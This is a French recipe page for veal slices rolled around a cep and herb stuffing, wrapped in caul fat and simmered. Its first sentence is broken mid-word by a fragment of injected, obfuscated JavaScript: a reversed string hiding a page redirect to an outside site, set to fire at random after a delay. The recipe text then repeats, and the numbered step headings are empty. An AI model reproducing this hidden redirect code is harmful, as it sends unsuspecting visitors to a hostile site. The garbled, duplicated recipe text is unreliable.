Les tranches de veau en surprise
2021-03-23Essuyez les têtes de cèpes avec un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon humide. Les hachez, avec les fines herbes, la farce de grillons, ou de porc haché, salez, poivrez.
Ingrédients
Essuyez les têtes de cèpes avec un torchon humide. Les hachez, avec les fines herbes, la farce de grillons, ou de porc haché, salez, poivrez. Prenez de la crépine de porc, étalez-la sur le plan de travail. Déposez au centre chaque tranche de veau, une cuillère à soupe de farce aux champignons. Enroulez la tranche de veau dans la crépine. Ficelez solidement.
Faites les dorer dans la graisse chaude, où l'huile d'arachide. Baissez le feu et faites mijoter à couvert pendant 30 minutes.
Vérifiez la cuisson et dégustez avec des pommes de terre vapeur.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
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